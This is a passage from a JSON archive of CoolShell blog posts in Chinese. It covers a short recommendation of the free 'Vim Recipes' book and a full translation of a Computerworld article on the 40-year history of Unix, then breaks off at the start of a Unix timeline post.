href=\"https://coolshell.cn/articles/780.html\">如何知道某网站运行在GAE上</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-1 《Vim Recipes》免费的Vim Cookbook.html",
    "content": "<html><body><p>当今最流行的文本编辑器是什么，如果我的回答是vim应该不算过份吧。</p>\n<p>在<a href=\"http://vim.runpaint.org/\" target=\"_blank\" title=\"http://vim.runpaint.org/ \"> http://vim.runpaint.org/ </a>你可以获得一本关于vim的cookbook 《Vim Recipes》</p>\n<p>如果你非常喜欢vim编辑器，千万不要错过这本书，使用这本书，你将会发现你在vim遇到问题都可以迎刃而解。</p>\n<p>此书还在更新过程中，更多内容请关注<a href=\"http://vim.runpaint.org/\" target=\"_blank\" title=\"http://vim.runpaint.org/ \">http://vim.runpaint.org/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/956.html\">《Vim Recipes》免费的Vim Cookbook</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-11 Unix 40年：昨天，今天和明天.html",
    "content": "<html><body><p><span style=\"font-size: small;\"><strong>经历了四个十年，操作系统的未来充满了变数，但传奇将会是永久的</strong></span></p>\n<p style=\"MARGIN: 0in 0in 0pt;\"> <strong>原文</strong>：<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyName=Operating+Systems&amp;articleId=9133570&amp;taxonomyId=89&amp;pageNumber=1\">链接</a>—<a href=\"http://www.computerworld.com/\">Computerworld</a></p>\n<p>　</p>\n<h4>译者前言</h4>\n<p style=\"MARGIN: 0in 0in 0pt;\"> 今年是Unix40岁的生日。很早就看到这篇文章了，一直想转到中文社区。但一直没有时间，今天看到了CSDN首页的一篇《<a href=\"http://news.csdn.net/a/20090610/211863.html\">昨天,今天,明天! Unix系统的40年</a>》号称是转载于<a href=\"http://www.cnbeta.com/articles/86179.htm\">cnBeta</a>。这篇文章翻译的要有多烂有多烂，简直就是对Unix 40的历史和原文作者的一种不敬。所以，在这里给出全部译文。</p>\n<p style=\"MARGIN: 0in 0in 0pt;\"> </p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong>关于更为详细的历史，可以参考我的《Unix</strong><strong>传奇》<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\">上篇</a></strong><strong>，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a></strong></p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong>以及一篇CSDN</strong><strong>对我的采访《<a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx\">Unix的现状与未来</a></strong><strong>》</strong></p>\n<p>　</p>\n<h4>正文</h4>\n<p>40年前的一个夏天，一个程序员只用了一个月的时间就创造出了这个世界上迄今为止最重要一个软件的原型。</p>\n<p><span id=\"more-1023\"></span></p>\n<p>在1969年8月，Ken Thompson，AT&amp;T公司Bell实验室的一个程序员，因为妻儿不在身边，所以有机会把他的一些关于新的操作系统的想法付诸实现。他用汇编语言在DEC（Digital Equipment Corp.）的PDP-7微机上写了第一个版本Unix，他只用了一周的时间就完成了一个简单的操作系统，包括一个shell，一个编译器还有一个汇编编译器。</p>\n<p>Thompson和他的一个同事Dennis Ritchie当时在开发一个叫“<a href=\"http://www.multicians.org/multics.html\" target=\"new\">Multics</a>（Multiplexed Information and Computing Service复杂指令和计算服务）”的分时(Time-Sharing)操作系统)，因为这个项目当时遇上了很多麻烦，所以Thompson和Dennis当时感到很没劲，他们即不想去做当时主流的“批处理（Batch）操作系统”，也不想去做那个看上去怪异和笨拙的Multics。</p>\n<p>所以，在他们来来回回讨论经了一些关于新系统的想法后，Thompson写下了第一个版本的Unix，然后，这两位老搭档在以后的几年里继续开发着这个操作系统，当然，后面有更多的同事（Doug McIlroy, Joe Ossanna 和 Rudd Canaday）加入了进来。一些当时Multics的理念也被带入到这个新的操作系统中来，不过，更为漂亮的Unix则带来了–“更少则为更多（less-is-more）”的哲学。</p>\n<p>（<strong>陈皓注：</strong>在我们所认识的历史中，这两位程序员当时是在Multics下开发一个叫”太空旅行”的游戏，后来Multics项目解体了，这两位哥们觉得自己的游戏白弄了，所以就为了这个游戏开发了一个新的操作系统Unix，Unix的取名和Multics是相反的，Multics有”复杂的”的意思，而Unix则是”小巧的”意思。后来他们觉得这个操作系统非常不错，所以在后来发表了一篇论文向全世界宣布了这一操作系统，从此开启了计算机世界崭新的文化，详情可参看我的《<strong>Unix</strong><strong>传奇</strong>》<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\">上篇</a>，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a>）</p>\n<p>“一个强大的用于交互式的操作系统不应该在价格成本和人力成本上都是昂贵的” Ritchie 和 Thompson在开发这个操作系统5年后，他们在”计算机协会（ACM- Association for Computing Machinery）杂志”上发表了一篇文章《<em>Communications of the ACM</em> (CACM)》，文中说，”我们希望Unix的用户会找到那些非常重要的系统特性就是它是’简单的’，’一流的’和’易用的'”。</p>\n<p>显然，他们做到了，Unix的确成为了IT领域中的一块基石，被广泛地部署到了大学，政府和企业的服务器和工作站上。并且，Unix的影响力开发迅速地传播开来，这恐怕超出了所有人的估计，正如ACM在1983年给Thompson 和 Ritchie颁发最具价值的图灵奖（计算机领域的诺贝尔奖）所记录的那样–“Unix系统的模式已经在以一种全新的编程思想领导着新一代的软件开发”。</p>\n<h2 style=\"MARGIN: auto 0in;\"><a name=\"early\"></a>Unix早期</h2>\n<p style=\"TEXT-ALIGN: center;\"> <img alt=\"\" height=\"150\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_kendennis.jpg\" width=\"230\"/></p>\n<p style=\"TEXT-ALIGN: center;\">Thompson 和 Ritchie.</p>\n<p>当然，Unix的成功不是一蹴而就的。 在1971年，它首先被移植到了PDP-11微机（一个比PDP-7更强的微机）。文本格式和文本编译程序在这时被加入进了Unix。并且，当时的实验室专利部门已经开始用这些文本编译器，这也是Unix系统除开发团队之外的第一个用户。</p>\n<p>在1972年，Ritchie引入了一个更高级的语言–C语言（基于Thompson的B语言），此后，Thompson用C语言重写了Unix，这极大地增加了Unix的可移植跨平台性。然后，他们为这个操作系统命名Unics(Uniplexed Information and Computing Service)，这是和Multics玩的一个文字游戏。但最后，Unix成了最终的名字。（<strong>陈皓注</strong>：Unix下的经常出现缩写，如usr 是 user, ed是edit，gp是group，这也是Unix的文化。Unix的更名可能也是因为这个吧）</p>\n<p>是时候向全世界宣布这个系统系统了。Ritchie 和 Thompson于1974年7月在 <em>CACM</em> 上发表了一篇论文– “<a href=\"http://cm.bell-labs.com/cm/cs/who/dmr/cacm.html\">The UNIX Time-Sharing System</a>“《Unix分时操作系统》，这篇论文就像一个风暴一样席卷了都个IT界。直到有一天，Unix被限制在了只能由Bell实验室中的少数人使用。但是，因为有计算机协会的支持，当时的Unix处于一个引爆点。</p>\n<p>” <em>CACM</em> 的那篇论文产生了一个戏剧化的影响”， IT 历史学家 Peter Salus 在他的书《<em>The Daemon, the Gnu and the Penguin</em>》中写到， “很快，Ken 被铺天盖地的Unix的请求所淹没”</p>\n<p> </p>\n<h2 style=\"MARGIN: auto 0in;\"><a name=\"hackers\"></a>黑客的天堂</h2>\n<p> Thompson 和 Ritchie 算得上是史上最名副其实的”黑客”，当时”黑客hacker”一词指的是那些把非同寻常的创意组合起来， 以一种超常智力，并以废寝忘食的态度解决了某个鲜为人知的软件问题的人。</p>\n<p>Thompson 和 Ritchie他们的所使用的开发方法，他们所写下的代码，极大地吸引了大学里的程序员，并在以后，这些大学中其中的一些程序员因为Unix开创了自己的公司，他们都是在Unix发展过程中的黑客，就像，加利福尼亚州大学的Bill Joy，卡内基梅隆大学的<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574#rashid\">Rick Rashid</a> ，以及Bell实验室<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574#korn\">David Korn</a>。当然，他们开创的这些公司都没有IBM，HP和Microsoft的资助。</p>\n<p>“几乎从一开始，Unix就能够，也确实是开始了自我进化”，Thompson和Ritchie在<em>CACM</em> 论文中说到，”因为所有的源代码总可以容易被人在线地更改，所以，当有一个新的想法被发明，发现或是被建议出来的时候，大家都非常自愿地修订或重写Unix系统和上面的软件”。</p>\n<p>Korn，一个今天还在AT&amp;T工作的员工，上世纪70年代曾是Bell 实验室的一个程序员。”Unix的一个特点是，一个小工具刚被完成，就被另一个更好的工具所代替”，他回忆起来说，”如果你觉得不好的话，你完全可以开完一个更好的版本”。Korn当时为Unix开发了一个很具影响力的<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574#korn\">Korn shell</a>，本质上来说，当年的Unix就像今天的开源软件。</p>\n<p>Salus，作为一个作家和技术历史家，回忆起，他上世纪70年代在多伦多大学时当教授时，在IBM System/360大机上使用APL编程语言工作时的情景–那并不很好用，但是自从1978年圣诞节以后，一个哥伦比亚大学的朋友给我演示了一下在微机上运行的Unix，”我说，’我的上帝啊’，我彻底被你征服了”。</p>\n<p>他说，Unix最关键的优势是他有一个”管道”特性（1973年引入），这么我们可以把上一个程序的输出轻松地传给下一个程序。”管道”的概念，由Bell实验室的McIlroy发明，随后”管道”这个东西被其它几乎所有的操作系统复制，包括所有的Unix， Linux，DOS和Windows。</p>\n<p style=\"TEXT-ALIGN: center;\"><img alt=\"\" height=\"151\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_murrayhill_230.jpg\" width=\"230\"/></p>\n<p style=\"TEXT-ALIGN: center;\">位于新泽西Murray Hill 的Bell 实验室总部</p>\n<p style=\"TEXT-ALIGN: center;\"><em>Credit: Alcatel-Lucent/Bell Labs</em></p>\n<p> </p>\n<p>Unix还有一个不错的地方。 “哇”，正如Salus所惊叹的，这个操作系统并不需要一个需要一百万美金的大型机才能运行的操作系统。它在极其原始的小型的DEC PDP-7微机上开发出来，因为这是当是Thompson 和 Ritchie可以找到用来写这个操作系统最好的机器（<strong>陈皓注：</strong>当时这个机器像垃圾一样被扔在实验室角落里）</p>\n<p>很多很多的大学研究者们使用Unix就是因为这是一个简单和容易修改的操作系统，而且对硬件资源要求的很少，代码也是开源和免费的。就像Sun Microsystems公司，或是一些用于特定的科学计算的主机公司，例如Multiflow Computer，他们在选择Unix作为操作系统时都和那些大学研究者们有相同的原因。</p>\n<h2 style=\"MARGIN: auto 0in;\">Unix家谱</h2>\n<p>Unix成长为一个非私有的操作系统，是因为1956年的AT&amp;T公司受命于联邦去经营电报电话服务。当然也可以开发软件，甚至那个软件可以有”合理”收费的许可证，但是这个公司却被禁止从事任何和计算机有并的商业活动。</p>\n<p>Unix，在开发的过程中，没有任何的奖励制度和管理，从一开始在AT&amp;T公司出现时，其是一种近似于好奇或兴趣的东西。</p>\n<p>然而，20世纪70年代，AT&amp;T公司开始意到Unix所带来的商业价值。公司的律师开始寻找一些手段来保护Unix，并让其成为一种商业机秘。从1979年Unix的版本V7开始，Unix的许可证开始禁止大学使用Unix的源码，包括在授课中学习。</p>\n<p>没问题！一个荷兰阿姆斯特朗Vrije大学使用版本V6的计算机科学系的教授Andrew Tanenbaum说。在1987年，他为教学目的克隆了一个Unix，创建一个叫Minix的开源的操作系统，并可以在80286的Intel芯片上运行。</p>\n<p>“Minix使用了所有和Unix一样的想法，并且这是一个非常灿烂的事物”，Salus说，”只有一个专门是程序员的并且非常了解操作系统内部的人才成干出这件事来”。Minix从此变成了另一个起点–Linus Torvalids 在1991年使用Minix创造了Linux –这并不是一个简单的Unix克隆版本，只不过它长得像Unix。</p>\n<p>让我们再回到Linux出现的十年以前，Bill Joy，毕业于加利福尼亚州大学伯克利分校，当年，他在学校的时候拷贝了Bell 实验室的Unix版本，并且所到了这是一个很不错的可以使用Pascal编译器和文本编译器的操作系统平台。</p>\n<p>于是，他更改变扩展了Unix，形成了Unix的第二个最主要的分枝–BSD（Berkeley Software Distribution）Unix。在1978年3月，Joy卖出了第一个BSD的拷贝：50美金。</p>\n<p>到了1980年，有两个最主要的Unix的版本线，一个是Berkeley的BSD，另一个是AT&amp;T的Unix，在这个时候，很显然，竞争最终引发了Unix的战争。在这场战争中，好的是，软件开发人员还是能够得到Unix的源码并对其按照自己的需要和兴致进行裁剪。而不好的是，Unix开始一发不可收拾地开发不停地出现各种各样的变种。</p>\n<p>1982年，Joy创建了Sun Microsystems公司并提供了工作站–Sun-1，运行在当一个BSD的版本，叫SunOS（Solaris以之后的十年出现）。而AT&amp;T则在随后的几年中发布了Unix System V的第一版，一个具有强大影响力的操作系统，最终造就了IBM的AIX和HP的HP-UX。</p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133696\"></a></p>\n<p style=\"MARGIN: 0in 0in 0pt;\"> </p>\n<p style=\"MARGIN: 0in 0in 0pt; TEXT-ALIGN: center;\"><img alt=\"\" height=\"267\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_chart_420.jpg\" width=\"420\"/></p>\n<p style=\"MARGIN: 0in 0in 0pt; TEXT-ALIGN: center;\">Unix 家谱. <em>Credit: Eraserhead1 (<a href=\"http://creativecommons.org/licenses/by-sa/3.0/\" target=\"new\">cc-by-sa-3.0</a>, <a href=\"http://en.wikipedia.org/wiki/GNU_Free_Documentation_License\" target=\"new\">GFDL</a>)</em><br/>\n<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133696\">点击这里下载大图</a></p>\n<p style=\"MARGIN: 0in 0in 0pt;\"> </p>\n<h2 style=\"MARGIN: auto 0in;\">Unix战争</h2>\n<p> 在上世纪80年代中期，大量的用户包括联邦政府，开始抱怨”Unix是一个理论上单一的可移植的操作系统”，但事实上应该如此却并不是这样。Unix软件供应商们，一方面为这些抱怨而为 其买单（”空头人情”），而另一方面，他们却在没日没夜地给用户们定制Unix的各种功能和APIs，旨在为了留下用户。 </p>\n<p> 而其它的Unix产商害怕At&amp;T和Sun的联盟，所以，有各种各样的派别组织开始在”标准”上竞争，这些组织大多在X或Open命名，开放软件基金会（Open Software Foundation），Unix开放系统国际和公司（Unix International and Corporation for Open Systems）等等，在这些组织中形成的各种各样的争论，辩论，抗辩和观点可以写一本厚厚的书，但他们无一例外地以肆意相互评击来主张一个统一的Unix局面。</p>\n<p> 刚形成的<a href=\"http://en.wikipedia.org/wiki/Open_Software_Foundation\" target=\"new\">开放软件基金会</a>，其包括了IBM，HP，DEC和其它公司共同来反抗AT&amp;T和Sun的联盟。在一个1988年未出版的文件中，DAPRA（Defense Advanced Research Projects Agency）一个著名的小型机先驱<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574&amp;pageNumber=2#bell\">Gordon Bell</a>说， “开放软件基金会OSF是一条’Unix穷人’进入正在发展的市场的一条路，他们以此来供养那个的高利润代码博物馆”。</p>\n<p> Unix战争在解决差异和设定一个操作系统标准中以失败告终。但在1993年，Unix社区听到了一个”警钟”–Microsoft发布了Windows NT，一个企业级的，32位的，支持多处理的操作系统。而Windows NT的所有者瞄准了Unix领域，并企图扩展Microsoft的桌面系统霸权到各种数据中心以及被Sun服务器所占领的地方。</p>\n<p> Microsoft的用户欢呼雀跃，Unix的产商开始惊慌。所有的主流的Unix竞争者们开始主动地联合起来形成了一个<a href=\"http://en.wikipedia.org/wiki/COSE\" target=\"new\">通用开放式软件环境（Common Open Software Environment）</a>，并在随后的几年中放下了他们的武器并开始着手把AT&amp;T和Sun联盟为背景的”Unix International Group”并入开放软件基金会OSF。这个合并在今天叫做–<a href=\"http://www.opengroup.org/\" target=\"new\">The Open Group</a>，而证明Unix系统和所有者的是<a href=\"http://www.unix.org/what_is_unix/single_unix_specification.html\" target=\"new\">Single Unix Specification</a>，现在官方叫法是–“Unix”。</p>\n<p> </p>\n<p>但在实践过程中，所有关于Unix的开发的确需要一个尽可能”标准化的”Unix，但是由于这些产商热衷于竞争的习惯，在Unix下并没有做到，但这一”标准化”被随后如潮水一样涌来的一个叫Linux的操作系统给完成了，这是一个开源的系统系统，则我们的Tanenbaum教授开发的Minix发展而来。</p>\n<h3 style=\"MARGIN: 12pt 0in 3pt;\"><a name=\"whatis\"></a>什么是”Unix”?</h3>\n<p>Unix，许多人会说，是一个几十年前在Bell实验室写的操作系统，Unix包括其所有的派生版本。今天，最主要的Unix版本是从两个主干上分出来的：一个当然是从AT&amp;T出来的，另一个则是通过加利福尼亚伯克利分校产生的。今天，最顽强的分枝是IBM的AIX和HP的HP-UX以及Sun的Solaris。</p>\n<p>然而，只有”The Open Group”拥有Unix的注册商标，<a href=\"http://www.unix.org/what_is_unix.html\" target=\"new\">定义一个Unix</a>需要遵从<a href=\"http://www.unix.org/what_is_unix/single_unix_specification.html\" target=\"new\">Single Unix Specification</a> (SUS)。这包含了那些从来没有Unix思想的操作系统，比如Mac OS X Leopard（这是从BSD和Mach那边发展来）以及IBM的z/OS（这是从大型机操作系统MVS发展来的），因为它们遵从了SUS的API规范。基本上来说，只要那看起来像是一个Unix，那他就是一个Unix，而不管它是由什么代码写的。</p>\n<p>当然，一个比较宽松的Unix定包含了Unix-Like的操作系统，有些时候，也叫做Unix-Clones或Look-Alikes，这些都是复制了Unix的东西但他们却并不直接使用Unix的代码。在这堆操作系统中，领头羊是Linux。</p>\n<p>最后，我们可以把Unix叫做一种”操作系统”因为这是已成了实际习惯。另外，对于一个操作系统的内核，Unix实现了很多典型的工具比如命令行编辑器，应用程序接口，开发环境，开发库和文档–<em>Gary Anthes</em></p>\n<h2 style=\"MARGIN: auto 0in;\">Unix的未来</h2>\n<p>由于这些长期竞争的各种版本的Unix缺乏可移值性，以及在价格方面没有优势，在x86芯片上占据主导地位的Linux和Windows将会快速地让所有的IT机构把Unix替换掉。调查机构<a href=\"http://www.gartner.com/DisplayDocument?ref=g_search&amp;id=878016\" target=\"new\">Gartner Group</a>最近公布了这项调查结果。</p>\n<p>“在主机服务器方面，调查结果继续显示公众对Linux的热情，而Windows也有相应的增长，而Unix系统还会长期存在，但是其逐渐地下滑”，这个调查报告由2009年2月发布。</p>\n<p>“Unix还会像以前那样长期存在，但它已不如从前，而这种局面只会愈演愈烈” Gartner分析师George Weiss说，”Linux将会是Unix的另一选择”，虽然Linux并没有像Unix那样经过了这么长的开发、性能调整和压力测试的过程，但很明显他很快就要达到像Unix那样的性能，可靠和扩展性”。</p>\n<p>但是，最近一个由Computerworld发起一个<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133777\">民意调查</a>，暗示了所有一切把Unix踢开的举动不会很快地发生。在一个由130个Unix用户和211个IT经理的问卷调查中显示，其90%的人说他们的公司”非常极端地信任Unix”。不到半数的被访者说，”Unix是一个非常基本的平台，但我们并不确定其未来是否会被保留”，而只有12%的受访者说，”我们期望在未来把Unix迁走”。节省成本，是诸多原因中最主要是一个原因。</p>\n<p>Weiss说，移值到x86处理器上会越来越快，因为这些硬件的价值实在是太便宜了。”水平扩展架构，集群技术，云计算，虚拟化技术，你只需要把这些技术合并一下，通过这些技术应用的趋势，我们可以看到操作系统的选择基本上就是Linux和Windows”，他说。</p>\n<p>“例如”，Weiss说，”在最近Cisco宣布的<a href=\"http://newsroom.cisco.com/dlls/2009/prod_031609.html\" target=\"new\">Unified Computing 架构</a>，你可以拥有网络，存储，计算，内存，光纤连接，但你不需要Unix。你可以安装Linux或Windows并使用x86平台。所以Intel赢得了Linux取代Unix的那半壁江山”。</p>\n<p>The Open Group，目前Single Unix Specification和Unix系统认证的所有者，开始有点退步并有点承认Linux也是一个Unix系统的选择，因为Unix是”高端性能，可扩展性和性能可以用于很多相当重要的应用”，而Linux则是一个更为小的，注重于并不太注重的应用。</p>\n<p>AT&amp;T的Korn是其中一个对Unix仍然看到的人。Korn说，Unix的长处是它的历史，自从1973年来引入”管道”技术，它就可以被分成几个部分来部署。这会把Unix带向前方，他说，”这个哲学体系可以运用在云计算中，在那里，你只需要创建一些小的可重用的碎片而不是一个巨大的应用”。</p>\n<h2 style=\"MARGIN: auto 0in;\"><a name=\"legacy\"></a>Unix传奇</h2>\n<p> </p>\n<p>无论最后的Unix命运会怎么样，这个从Bell实验室出生的40岁的家伙，已经书写了一段传奇，而且这个传奇可能还会继续几十年。它影响并产生了一个相当相当长的流行软件列表，包括给IBM，HP和Sun提供的Unix，以及Apple的Mac OS X和Linux。它同样影响了Microsoft的Windows NT以及IBM和Microsoft弄出来的DOS。</p>\n<h2 style=\"MARGIN: auto 0in;\">请你来说</h2>\n<h3 style=\"MARGIN: 12pt 0in 3pt;\"><a href=\"http://www.computerworld.com/comments/node/9133570\">分享你的Unix记忆！</a></h3>\n<p> </p>\n<p>因为Unix，产生了许多公司，并走向了成功，因为当时Unix给了一个低成本的平台。在Internet上的服务器，Unix是核心的建筑区，今天它也是所有通讯系统的心脏。由它孕育了许多架构上的创意，比如管道，并且，Unix引出的Mach为科学作出了巨大的贡献，同时也为多处理器计算作出了贡献。</p>\n<p>ACM在1983年因为Unix授予Thompson和Ritchie图灵奖时说过：”Unix系统最天才的部分是它的framework，它激发了程序员们沿着这一方向工作”。</p>\n<p> </p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong>作者</strong>：Gary Anthes<br/>\n<strong>时间</strong>：2009年6月4日美国东部时间凌晨12:01</p>\n<p style=\"MARGIN: 0in 0in 0pt;\"> </p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong>译者</strong>：陈皓（haoel(at)hotmail.com）<br/>\n<strong>时间</strong>：2009年6月11日北京时间晚上10:22</p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong> </strong></p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong>关于更为详细的历史，可以参考我的《Unix</strong><strong>传奇》<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\">上篇</a></strong><strong>，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a></strong></p>\n<p style=\"MARGIN: 0in 0in 0pt;\"><strong>以及一篇CSDN</strong><strong>对我的采访《<a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx\">Unix的现状与未来</a></strong><strong>》</strong></p>\n<p><strong>（本文由陈皓翻译，在转载时请注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-12 Unix 40年：Unix年鉴.html",
    "content": "<html><body><p>今年是Unix 40年的生日，这篇文章，主要是一个Unix的年鉴，其记录了40年来所有和Unix有关的里程碑事件。</p>\n<p>如果你想知道Unix的一些故事，你可以查看下面这些文章：</p>\n<ul>\n<li>《<strong><a href=\"https://coolshell.cn/articles/1023.html\">Unix40年：昨天，今天和明天</a></strong>》</li>\n<li>《<strong>Unix</strong><strong>传奇</strong>》<strong><a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\" target=\"_blank\">上篇</a></strong><strong>，</strong><strong><a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a></strong></li>\n<li>《<strong><a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx\" target=\"_blank\">Unix的现状与未来</a></strong>》</li>\n</ul>\n<h4>1956</h4>\n<p>美国司法部颁布法令责成AT&amp;T公司不得从事除了公共承运人提供的通信服务以外的一切商业活动。</p>\n<h4>1969</h4>\n<p><strong>三月 — </strong>AT&amp;T旗下的 Bell 实验室从操作系统项目Multics (Multiplexed Information and Computing 